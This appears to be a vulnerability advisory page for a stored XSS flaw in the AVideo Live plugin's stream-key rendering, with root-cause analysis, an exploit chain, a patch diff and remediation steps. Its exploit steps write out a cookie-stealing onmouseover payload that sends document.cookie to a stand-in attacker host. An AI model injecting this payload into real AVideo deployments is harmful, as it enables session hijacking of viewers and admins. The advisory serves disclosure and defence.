CVE-2026-45580: WWBN AVideo Live: stored XSS via unescaped stream key in modeYoutubeLive.php class attribute

Published May 15, 2026
·
Updated

Summary

Type: Stored cross-site scripting. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin. File: plugin/Live/view/modeYoutubeLive.php, line 203. Root cause: the template builds a live-status hook by concatenating the database key into a class name: class="titleliveKey<?php echo $livet['key'] ?>". There is no escaping. The persistence path plugin/Live/saveLive.php:30 accepts $REQUEST['key'] verbatim into livetransmitions.key (the auto-generation path uses uniqid(), but the manual save path lets the caller override it with anything). The onpublish.php:117 sanitiser strips only & and =, not ", <, or >, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.

Affected Code

File: plugin/Live/view/modeYoutubeLive.php, lines 195-209.

php <i class="fas fa-lock"></i> <?php } else { ?> <i class="fas fa-video"></i> <?php } ?> <span class="titleliveKey<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span> <!-- BUG: $livet['key'] echoed raw into class attribute --> <small class="text-muted"> <?php echo $liveInfo['displayTime']; ?> </small> </h1>

$livet['key'] is the raw stream key out of livetransmitions. The persistence path plugin/Live/saveLive.php:30 is $l->setKey($REQUEST['key']) (no allowlist), and LiveTransmition::setKey() (Objects/LiveTransmition.php:110-112) is a plain assignment. The DB column has no character-class enforcement (it is a varchar). parent::save() uses prepared SQL, so embedded ", <, >, ' are stored verbatim and round-trip back to this template unchanged.

Why it's wrong: an HTML attribute value must be escaped with htmlspecialchars(..., ENTQUOTES, 'UTF-8') (or routed through a templating engine that does). The current <?php echo $livet['key'] ?> between class="…" and " lets the attacker close the attribute with ", append arbitrary attributes (onclick, onmouseover, style, srcset, …), or close the tag with > and inject a <script> block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (menuRight.php, socket.js) only use key inside JS contexts where they pre-strip [&=], but modeYoutubeLive.php uses it directly in HTML attribute context where that strip is insufficient.

Exploit Chain

1. Attacker registers (or already holds) an AVideo account with canStream=1. On installations with advancedCustomUser.newUsersCanStream=1 this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated. 2. Attacker POSTs to https://target/plugin/Live/saveLive.php: key=" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=" title=t&description=d&password=p saveLive.php:8 confirms User::canStream(), line 30 calls $l->setKey($REQUEST['key']) and the row is persisted with the literal payload value. State: livetransmitions.key for this user contains the XSS payload. 3. Victim visits the attacker's live page, e.g. https://target/plugin/Live/?u=<attacker-username>. The page is rendered through index.php -> view/modeYoutubeLive.php. Line 203 executes: html <span class="titleliveKey" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=""><span>STREAM TITLE</span></span> State: a class attribute closed early, an onmouseover event handler attached, a stray x="" consumed, and the final closing " consumed by the next attribute. The HTML parses cleanly. 4. Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: fetch('//attacker/x?c=' + document.cookie) runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie). 5. Final state: the attacker's collector receives the victim's session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (onerror on injected <img>, onload on injected <svg>, or simply > to close the <span> and inject a <script> block) the trigger does not require mouse-over.

Security Impact

Severity: sec-moderate. Stored XSS on the platform's primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability. Attacker capability: with one canStream account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer's browser when they open the stream's live page. The script runs in the target origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from livetransmitions. Preconditions: AVideo deployment using the default modeYoutubeLive.php template (the YouTube-style live view, used by all standard skins); attacker has canStream rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page. Differential: source-inspection-verified. The vulnerable template modeYoutubeLive.php:203 produces <span class="titleliveKey<UNESCAPEDKEY>">…</span>. With the suggested patch (htmlspecialchars($livet['key'], ENTQUOTES, 'UTF-8') applied), the same input renders as <span class="titleliveKey&quot; onmouseover=&quot;…&quot; x=&quot;">…</span>, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet:

sh $ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"titleliveKey".$livet["key"]."\">test</span>";' <span class="titleliveKey" onmouseover="alert(1)" x="">test</span> # XSS attribute parses $ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"titleliveKey".htmlspecialchars($livet["key"],ENTQUOTES,"UTF-8")."\">test</span>";' <span class="titleliveKey&quot; onmouseover=&quot;alert(1)&quot; x=&quot;">test</span> # one attribute, no handler

Suggested Fix

Escape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after replace(/[&=]/g, ''), but they should be reviewed in the same patch).

diff --- a/plugin/Live/view/modeYoutubeLive.php +++ b/plugin/Live/view/modeYoutubeLive.php @@ -200,7 +200,7 @@ } ?> - <span class="titleliveKey<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span> + <span class="titleliveKey<?php echo htmlspecialchars($livet['key'], ENTQUOTES, 'UTF-8') ?>"><?php echo getSEOTitle($liveTitle); ?></span> <small class="text-muted"> <?php echo $liveInfo['displayTime'];

Defence-in-depth: also enforce a character allowlist on livetransmitions.key at write time (the autogenerator emits uniqid() which is hex-only, so ^[A-Za-z0-9-]{1,64}$ is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.

Other sources

WWBN AVideo is an open source video platform. In 29.0 and earlier, there is a stored cross-site scripting vulnerability. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin.

MITRE

Affected Software

2 affected components
composer/WWBN/AVideo<=29.0
WWBN AVideo<=29.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Configuration

    In plugin/Live/view/modeYoutubeLive.php, line 203 (within `class="title_liveKey_..."`), replace the raw output `<?php echo $livet['key'] ?>` with `<?php echo htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') ?>` so the stream key cannot break out of the HTML attribute context.

    AVideo Live plugin plugin/Live/view/modeYoutubeLive.php (HTML output encoding for $livet['key'] in class attribute) = htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8')
  2. Configuration

    Enforce a character allowlist for `live_transmitions.key` at write time in the `plugin/Live/saveLive.php` persistence path / `LiveTransmition::setKey()` so the value can never contain HTML metacharacters; use the allowlist `^[A-Za-z0-9_-]{1,64}$`.

    AVideo Live plugin plugin/Live/saveLive.php / LiveTransmition::setKey (validation for live_transmitions.key) = ^[A-Za-z0-9_-]{1,64}$

Event History

May 15, 2026
Advisory Published
via GitHub·06:33 PM
Data Sourced
via GitHub·06:33 PM
DescriptionSeverityWeaknessAffected Software
May 29, 2026
CVE Published
via MITRE·01:14 PM
Data Sourced
via MITRE·01:14 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-45580?

CVE-2026-45580 is categorized as a stored cross-site scripting vulnerability.

2

How do I fix CVE-2026-45580?

To fix CVE-2026-45580, ensure that the live transmission's stream key is sanitized using htmlspecialchars() before rendering it in HTML.

3

What types of systems are affected by CVE-2026-45580?

CVE-2026-45580 affects versions of the WWBN/AVideo package up to and including version 29.0.

4

Who can exploit CVE-2026-45580?

A user with 'canStream' permissions can exploit CVE-2026-45580 to persist malicious script content.

5

What is the potential impact of CVE-2026-45580?

The potential impact of CVE-2026-45580 includes execution of arbitrary scripts in the context of a victim's browser, leading to data theft or session hijacking.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203